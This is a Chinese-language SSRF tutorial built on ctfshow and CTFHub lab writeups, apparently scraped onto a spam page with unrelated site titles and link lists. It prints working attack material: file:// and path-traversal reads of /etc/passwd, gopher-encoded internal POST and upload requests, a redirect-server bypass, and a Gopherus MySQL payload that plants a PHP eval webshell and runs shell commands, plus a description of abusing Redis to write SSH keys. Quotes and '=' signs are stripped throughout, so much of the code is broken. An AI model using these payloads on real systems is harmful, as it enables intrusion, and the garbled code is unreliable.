当前位置: 首页 > news >正文

网站开发中什么是站点青岛做网站eoe

网站开发中什么是站点,青岛做网站eoe,网站建设360 全景制作方案,广州宣传片制作公司什么是ssrf SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。 一般情况下#xff0c;SSRF攻击的目标是从外网无法访问的内部系统。#xff08;正是因为它是由服务端发起的#xff0c;所以它能够请求到与它相连…什么是ssrf SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。 一般情况下SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的所以它能够请求到与它相连而与外网隔离的内部系统; 我对于ssrf的理解就是黑客想要去攻击一个网站但却不好进行攻破就找到它的服务器从服务器上访问得到想要的资源 漏洞产生的函数 file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile() file_get_contents() 而用在这里它在网址中具有从用户指定的url中获取内容然后指定一个文件报存并呈现给用户在这里顺便也提一下file_put_content() 这两个函数在一些环境中还是经常使用的它的作用就是将字符串写入一个文件中这两个函数正好相反一个是将文件中的字符串读出来一个是将字符串写入文件中 fsockopen() fsockopen函数实现对用户指定url数据的获取该函数使用socket端口跟服务器建立tcp连接传输数据。变量host为主机名port为端口errstr表示错误信息将以字符串的信息返回30为时限 fsockopen ( string $hostname [, int $port -1 [, int $errno [, string $errstr [, float $timeout ini_get(default_socket_timeout) ]]]] ) : hostname 如果安装了OpenSSL那么你也许应该在你的主机名地址前面添加访问协议ssl://或者是tls://从而可以使用基于TCP/IP协议的SSL或者TLS的客户端连接到远程主机。 port 端口号。如果对该参数传一个-1则表示不使用端口例如unix://。 errno 如果传入了该参数holds the system level error number that occurred in the system-level connect() call。 如果errno的返回值为0而且这个函数的返回值为FALSE那么这表明该错误发生在套接字连接connect()调用之前导致连接失败的原因最大的可能是初始化套接字的时候发生了错误。 errstr 错误信息将以字符串的信息返回。 timeout 设置连接的时限单位为秒。 注意如果你要对建立在套接字基础上的读写操作设置操作时间设置连接时限请使用stream_set_timeout()fsockopen()的连接时限timeout的参数仅仅在套接字连接的时候生效。 以上来自php中文网站网络 函数 « PHP Manual | PHP 中文手册 curl_exec() curl_exec()函数用于执行指定的cURL会话 示例代码 ?php if (isset($_POST[url])){$link $_POST[url];$curlobj curl_init();// 创建新的 cURL 资源curl_setopt($curlobj, CURLOPT_POST, 0);curl_setopt($curlobj,CURLOPT_URL,$link);curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项$resultcurl_exec($curlobj);// 抓取 URL 并把它传递给浏览器curl_close($curlobj);// 关闭 cURL 资源并且释放系统资源$filename ./curled/.rand()..txt;file_put_contents($filename, $result); echo $result; } ? fopen() 对文件进行操作的函数 readfile() 利用漏洞常使用的协议 file:/// 从文件系统中获取文件内容如file:///etc/passwd dict:// 字典服务器协议访问字典资源如dict:///ip:6739/info sftp:// SSH文件传输协议或安全文件传输协议 ldap:// 轻量级目录访问协议 tftp:// 简单文件传输协议 gopher:// 分布式文档传递服务可使用gopherus生成payload 比较经常使用的协议我介绍一下有些协议我遇到了在补充 file协议 常用于去访问flag文件和index.php主页文件 ?urlfile:///var/www/html/flag.php ?urlfile:///var/www/html/index.php dict://协议 目前还没怎么使用过遇到在补充 gopher://协议 这个协议是ssrf中利用较多的最强大的协议(俗称万能协议) gopher://ip:port/_TCP/IP数据流 注意 gopher协议数据流中url编码使用%0d%0a替换字符串中的回车换行数据流末尾使用%0d%0a代表消息结束 在之后的题目会提及到 详细介绍这几个协议的呈上大佬的博客SSRF漏洞原理攻击与防御(超详细总结)-CSDN博客 SSRF利用协议中的万金油——Gopher_ssrf的gopher://-CSDN博客 关于绕过 网址相关绕过 指向127.0.0.1的地址有如下地址 http://localhost/:localhost 代表127.0.0.1。 http://0/:0 在Windows中代表0.0.0.0,在Linux下代表127.0.0.1。 http://0.0.0.0/: 这个IP表示本机IPv4的所有地址。 http://[0:0:0:0:ffff:127.0.0.1]/:Linux 系统下可用,Windows系统下不可用 http://[::]:80/:Linux 系统下可用,Windows系统下不可用。 http://127 。0。0。1/:用中文句号绕过关键字检测。 http://①②⑦.①.①.①: 封闭式字母数字。 http://127.1/: 省略0。 http://127.000.000.001:1 和0的数量没影响,最终依然指向127.0.0.1。 urlhttp://sudo.cc/flag.php //sudo.cc也可以指向127.0.0.1 http头相关绕过 httpsssss://include()和file_get_contents()遇到不认识的文件头的时候就会将这个协议头当作文件夹从而造成目录穿越 如下面这个例子 // ssrf.php ?php highlight_file(__FILE__); if(!preg_match(/^https/is,$_GET[url])){ die(no hack); } echo file_get_contents($_GET[url]); ?payload ssrf.php?urlhttpsssss://../../../../../../etc/passwd还有一些关于函数的绕过这位大佬写的非常详细CTFshow刷题日记-WEB-SSRFweb351-360SSRF总结_ctf ssrf题型总结-CSDN博客 它在绕过中关于url的相关的写的非常的详细可以看看 绕过总结 利用 如http://example127.0.0.1 http://www.baidu.com10.10.10.10和http://10.10.10.10请求时相同的 添加端口号 http://127.0.0.1:8080 利用短地址 http://dwz.cn/11SMa ip地址进制转换 以192.168.109.150为例 首先转换16进制c0.a8.6d.96 接着转换为八进制:300.250.155.226 即192.168.109.150300250155226 访问http://00300250155226 题目示例 多说无益以题见真章 ctfshow web入门 ssrf web351 打开题目看到源码 ?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); echo ($result); ? 对url进行了一系列的curl相关的操作但并没有过滤任何东西 直接post就行 payload url127.0.0.1/flag.php web352 看源码 ?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $xparse_url($url); if($x[scheme]http||$x[scheme]https){ if(!preg_match(/localhost|127.0.0/)){ $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); echo ($result); } else{die(hacker); } } else{die(hacker); } ? 比上一道题多了一个正则并且要求前缀是一个http或https直接用0进行绕过前面的绕过已经提及到了就不多说了 payload http://0/flag.php web353 看源码 ?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $xparse_url($url); if($x[scheme]http||$x[scheme]https){ if(!preg_match(/localhost|127\.0\.|\。/i, $url)){ $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); echo ($result); } else{die(hacker); } } else{die(hacker); } ? 这道题又多加了一个过滤过滤了.0接着用.0.0.0.0进行绕过上面的绕过已经写过了在这里就不多说了 payload ?urlhttp://0.0.0.0/flag.php web354 源代码 ?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $xparse_url($url); if($x[scheme]http||$x[scheme]https){ if(!preg_match(/localhost|1|0|。/i, $url)){ $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); echo ($result); } else{die(hacker); } } else{die(hacker); } ? hacker 这道题又多学了一种姿势用sudo.cc指向127.0.0.1 payload urlhttp://sudo.cc/flag.php web355 源码 ?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $xparse_url($url); if($x[scheme]http||$x[scheme]https){ $host$x[host]; if((strlen($host)5)){ $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); echo ($result); } else{die(hacker); } } else{die(hacker); } ? 限制了长度绕过payload http://0/flag.php web356 源码 ?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $xparse_url($url); if($x[scheme]http||$x[scheme]https){ $host$x[host]; if((strlen($host)3)){ $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); echo ($result); } else{die(hacker); } } else{die(hacker); } ? 还是限制了长度上一道题的payload仍然可以用 web357 这道题留在后面统一知识点进行解释 web358 源码 ?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $xparse_url($url); if(preg_match(/^http:\/\/ctf\..*show$/i,$url)){echo file_get_contents($url); } 这道题要求以http开头以show结尾 payload urlhttp://ctf.127.0.0.1/flag.php?show 在这里介绍下parse_url()函数的利用 它是对于url的一个分解 举例代码 ?php $url http://ctf.127.0.0.1/flag.php?show; $x parse_url($url); var_dump($x); ?//运行结果: array(5) {[scheme]string(4) http[host]string(9) 127.0.0.1[user]string(4) ctf.[path]string(9) /flag.php[query]string(4) show }后面两道题也是统一进行解释说明 靶场ctfhub 在ctfhub中对于ssrf的知识点有以下几种 内网访问 给的提示尝试访问位于127.0.0.1的flag.php吧 打开后直接去访问就可以得到flag了 payload ?url127.0.0.1/flag.php 伪协议读取文件 直接用伪协议读取flag文件 ?urlfile://var/www/html/flag.php 记得访问之后要查看源码才能得到flag 端口扫描 给了提示来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦, 直接抓包在端口处添加变量在8000到9000之间进行爆破找到和其它字段数长度不一样的就可以得到flag了 用bp爆破 POST请求 这道题给的提示这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年 打开之后什么都没有去访问源码 ?urlfile:///var/www/html/index.php ?urlfile:///var/www/html/flag.php查看后得到两段源码 index.php的源码 ?phperror_reporting(0);if (!isset($_REQUEST[url])){header(Location: /?url_);exit; }$ch curl_init(); curl_setopt($ch, CURLOPT_URL, $_REQUEST[url]); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch);flag.php源码 ?phperror_reporting(0);if ($_SERVER[REMOTE_ADDR] ! 127.0.0.1) {echo Just View From 127.0.0.1;return; }$flaggetenv(CTFHUB); $key md5($flag);if (isset($_POST[key]) $_POST[key] $key) {echo $flag;exit; } ?form action/flag.php methodpostinput typetext namekey!-- Debug: key?php echo $key;?-- /form这里需要利用gopher://协议先介绍一下gopher://协议的一些基本情况 Gopher协议没有默认端口需要制定POST方法回车换行使用%0d%0a参数之间的分隔符也用URL编码其他与HTTP协议类似。在访问?url127.0.0.1/flag.php时它告诉我们需要从127.0.0.1中来访问那就是从内网进行访问内网进行访问需要gopher://协议进行POST请求 构造gopher://协议进行请求 需要构造以下payload POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 36key7a63523334ee824db18990ffc181d204 开始构造有两种方法进行构造第一种方法就是自己进行url编码将上面这些内容进行两次url编码在进行编码时需要注意以下方面 1.在使用gopher协议发送POST请求包时HostContent-Type和Content-Length请求头是必不可少的但在GET请求中没有要求 2.在向服务器发送请求时首先浏览器会进行一次URL解码其次服务器收到请求后在执行curl时会进行第二次解码所以我们要对请求包进行两次url编码 3.在第一次编码后的数据中将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中可能包含有、等特殊字符避免与服务器解析传入的参数键值对混淆所以对数据包进行 URL编码这样服务端会把%后的字节当做普通字节 这是编码之后的payload ?urlgopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D51457bb0a50c1eb2c92dcc3ec3c2cc13第二种方法就是用脚本 以下是借助大佬的脚本 import urllib.parsepayload \POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 36key7a63523334ee824db18990ffc181d204 #注意后面一定要有回车回车结尾表示http请求结束 tmp urllib.parse.quote(payload) new tmp.replace(%0A,%0D%0A) result gopher://127.0.0.1:80/_new result urllib.parse.quote(result) print(result) # 这里因为是GET请求所以要进行两次url编码这个脚本运行结果和上面手动的结果一模一样 上传文件 看一下这道题的提示这次需要上传一个文件到flag.php了.祝你好运 它需要上传一个flag.php文件打开127.0.0.1/flag.php发现一个文件上传框但只能选择文件不能上传文件在源码中我们将文件上传框给补上然后上传文件抓包发现只有内网才能上传文件 我们构造post包进行传参 post包如下 POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 292 Content-Type: multipart/form-data; boundary----WebKitFormBoundary1lYApMMA3NDrr2iY------WebKitFormBoundary1lYApMMA3NDrr2iY Content-Disposition: form-data; namefile; filenametest.txt Content-Type: text/plainSSRF Upload ------WebKitFormBoundary1lYApMMA3NDrr2iY Content-Disposition: form-data; namesubmit提交 ------WebKitFormBoundary1lYApMMA3NDrr2iY-- 我们可以使用Python脚本实现两次URL编码第一次完成后需要将%0A修改为%0D%0A(也可以通过URL编码工具进行手动编码) python脚本进行编码 import urllib.parsepayload \ POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 292 Content-Type: multipart/form-data; boundary----WebKitFormBoundary1lYApMMA3NDrr2iY ------WebKitFormBoundary1lYApMMA3NDrr2iY Content-Disposition: form-data; namefile; filenametest.txt Content-Type: text/plain SSRF Upload ------WebKitFormBoundary1lYApMMA3NDrr2iY Content-Disposition: form-data; namesubmit 提交 ------WebKitFormBoundary1lYApMMA3NDrr2iY--#注意后面一定要有回车回车结尾表示http请求结束 tmp urllib.parse.quote(payload) # print(tmp) new tmp.replace(%0A,%0D%0A) # print(new) result gopher://127.0.0.1:80/_new result urllib.parse.quote(result) print(result) # 这里因为是GET请求所以要进行两次url编码 也可以自己进行url编码这是自己手动编码的结果 ?urlgopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--URL Bypass 那两个题和ctfshow web入门两道题一起说 提示请求的URL中必须包含http://notfound.ctfhub.com来尝试利用URL的一些特殊地方绕过这个限制吧 打开题目我们这个题可以用HTTP的基本身份验证绕过 HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。 也就是http://www.xxx.comwww.yyy.com形式; 构造payload ?url http://notfound.ctfhub.com127.0.0.1/flag.php 数字IP Bypass 看一下提示这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢 打开题目用上一道题的方式访问一下flag.php看到它恢复的和提示一模一样搬掉了127又想访问就用进制转换进行绕过又学了一种绕过方式既然不能使用十进制的IP那我们尝试将IP转换为十六进制 八进制0177.000.000.001 十进制127.0.0.1 十六进制0x7f000001 构造payload获得flag ?url 0x7f000001/flag.php 302跳转Bypass 看看题目的提示SSRF中有个很重要的一点是请求可能会跟随302跳转尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧 老规矩用file协议查看?urlfile:///var/www/html/flag.php?urlfile:///var/www/html/index.php 分别得到两个源码 flag.php ?phperror_reporting(0);if ($_SERVER[REMOTE_ADDR] ! 127.0.0.1) {echo Just View From 127.0.0.1;exit; }echo getenv(CTFHUB); index.php ?phperror_reporting(0);if (!isset($_REQUEST[url])) {header(Location: /?url_);exit; }$url $_REQUEST[url];if (preg_match(/127|172|10|192/, $url)) {exit(hacker! Ban Intranet IP); }$ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch); 我们可以看到过滤了12717210192 但是没有限制localhost 直接payload ?url localhost/flag.php 另一种方法就是用自己的服务器进行跳转 #302.php ?php header(Location:http://127.0.0.1/flag.php); 写一个文件写到自己的服务器上然后访问 payload?urlhttp://[公网IP]/302.php实现302跳转 payload?urlhttp://[公网IP]/302.php这个放到最后解释一下这个题型 DNS重绑定 Bypass 打开题目查看题型关键词DNS重绑定。剩下的自己来吧也许附件中的链接能有些帮助 rbndr.us dns rebinding service 这是DNS重定向的一个网站 这里解释一下DNS重定向它也是一种绕过方式 浅谈DNS重绑定漏洞 - 知乎 (zhihu.com) 这是那个附件DNS重定向我的理解就是当用户访问一个域名那么这个域名就会访问绑定的这个ip地址当用户下次在去访问时浏览器就不会去检查会直接进行访问这个ip而这个ip绑定的域名只有管理员能够修改 这个题就直接用DNS重定向进行绕过老规矩利用file协议查看源码这是index.php 1 ?php2 3 error_reporting(0);4 5 if (! isset($_REQUEST[ur1])) {6 header(Location: /?ur1_); 7 exit; 8 } 9 10 $ur1 $_REQUEST[ur1];11 12 if (preg_match(/127|172/10/192/$ur1)) {13 exit(hacker! Ban Intranet IP);14 } 15 16 $ch curl_init(); 17 curl_setopt($chCURLOPT_URL$ur1);18 curl_setopt($chCURLOPT_HEADER,O);19 curl_exec($ch); 20 curl_close($ch) ;21flag.php就是告诉我们禁止了127.0.0.1这个ip payload就是 ?url 7f000001.7f000002.rbndr.us/flag.php ok基本的知识就此完结接下来开始介绍一些比较难搞的题目和知识 302跳转和301重定向 先介绍一下这两者的区别 302跳转是暂时的而301重定向是永久的但在ssrf题中使用这两者是没有区别的我们会用一种就行在这里我将用302跳转对这两道题进行解释 它也是ssrf的一种绕过方法上面有两道题可以去进行302跳转 ctfshow 354 看一下源代码 ?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $xparse_url($url); if($x[scheme]http||$x[scheme]https){ if(!preg_match(/localhost|1|0|。/i, $url)){ $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); echo ($result); } else{die(hacker); } } else{die(hacker); } ? hacker 它过滤了10localhost我们可以使用我上面的方法进行绕过也可以使用302跳转进行绕过 在自己的服务器上写一个php文件内容为 ?php header(Location:http://127.0.0.1/flag.php); 然后去访问这个文件但服务器的公网地址不能含有1和0这就比较难实现了所以需要找一个软件可以免费的提供域名才可以简单的去做这道题这个工具为cpolar官网-安全的内网穿透工具 | 无需公网ip | 远程访问 | 搭建网站 可以自行安装一下并调试一下去使用然后用域名去跳转这个文件就可以得到flag 当然还有别的内网穿透工具可以自行上网搜索 另一道题也是同样做法 SSRF题的最后一点Gopherus的使用 它是需要做无回显的SSRF题下面以题为例介绍一下这个软件 ctfshow web359 打开题目就是一个登录框返回去看看提示 打无密码的mysql 在kali系统或服务器上安装一下Gopherus 安装和使用命令 git clone https://github.com/tarunkant/Gopherus.gitpython gopherus.py安装之后一定要打开那个文件夹再去启动这个命令 python2 .\gopherus.py --exploit mysql 然后按照提示写下如下内容 username:root 写入一句话木马 select ?php eval($_POST[cmd]);? into outfile /var/www/html/2.php;然后一定要在次url编码因为将 _ 下划线后面的内容再进行一次 url 编码防止出现特殊字符后端 curl 接收到参数后会默认解码一次 我用在线工具编码没有成功用php代码编码之后在上传之后才成功了 php代码如下 ?php $str%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01; echo gopher://127.0.0.1:3306/_.urlencode($str); 达到如下页面之后在网址访问url/2.php然后执行命令 ?cmdsystem(ls /); ?cmdsystem(cat /flag.txt) flag就出来了 ctfshow web360 和上题差不多但不知道是环境问题还是什么问题我没有弄成功思路是正确的这道题转了好久直接504 在这里介绍一下什么是Redis服务 什么是Redis未授权访问Redis 默认情况下会绑定在 0.0.0.0:6379如果没有进行采用相关的策略比如添加防火墙规则避免其他非信任来源 ip 访问等这样将会将 Redis 服务暴露到公网上如果在没有设置密码认证一般为空会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下利用 Redis 自身的提供的 config 命令可以进行写文件操作攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中进而可以使用对应私钥直接使用ssh服务登录目标服务器简单说漏洞的产生条件有以下两点redis 绑定在 0.0.0.0:6379且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略直接暴露在公网 没有设置密码认证一般为空可以免密码远程登录redis服务 这段介绍来自这位大佬的博客CTFshow刷题日记-WEB-SSRFweb351-360SSRF总结_ctf ssrf题型总结-CSDN博客 如何测试Redis呢? 访问这个端口出现报错就是存在Redis 如何访问以此题为例 就是这样去检测 这道题同样在Gopherus生成后在用那个脚本重新在url编码一次 还有ctfhub技能树上的 FastCGI协议 看一下提示这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助 同样的手法 python2 gopherus.py --exploit fastcgi 这样运行后两次编码 之后把ls哪里在改成cat /f*就行了同样它的Redis协议和ctfshow上的Redis协议做法相同就不再重复说了 ssrf的学习先告一段落了其后就是在比赛遇到题了在补充如果还有什么题和方法我会直接补充到这个博客中有用到的可以收藏一下下一个学习ssti漏洞
http://www.ho-use.cn/article/10819797.html

相关文章:

  • 票务网站开发什么是门户类型的网站
  • 做视频素材网站网站结构是体现的
  • c2c网站特点wordpress建影视网站
  • 受欢迎的网站建设教程腾讯云lamp wordpress
  • 常州哪里做网站重庆响应式网站设计
  • 做网站还是做微信公众号厂房建设公司哪家好
  • 玉溪网站开发手机网站页面尺寸大小
  • 东莞浩智网站建设哪家好南宁在百度上建网站
  • 上海网站制作的模板网站设计报价
  • 网站空间ip需不需要备案汕头市专注网站建设
  • 合肥建站中小企业网络营销案例
  • 做外贸网站市场网页设计html代码大全python
  • 新建设电影院 网站锕锕锕锕锕锕锕好湿免费网址
  • 做网站素材在哪里找网站开发安卓开发
  • 网站语言版本质感设计网站
  • 怎么在网站做直播间电商网站建设策划
  • 某网站网站的设计与实现网站站点不安全
  • 网站开发一般用什么技术网站可以个人做吗
  • 个人网站建设详细教程住房和城乡建设厅证书查询网
  • 麻城网站建设外贸网站建设模版
  • dede淘宝客网站模板用什么网站推广
  • 比较好的网站开发框架wordpress对联
  • 宁波网站怎么建设代做效果图网站
  • WordPress网站子目录访问阆中市住房和城乡建设局网站
  • 网站如何添加js代码网站开发时遇不到算法
  • 成都网站建设推广好电子商务毕业设计网站
  • 网站建设 英文北京建站模板制作
  • 建立网站需要多少钱一个班级网站设计模板
  • php做网站需要数据库吗上海中小企业网站建设
  • 个人做电子商务网站备案想要推广版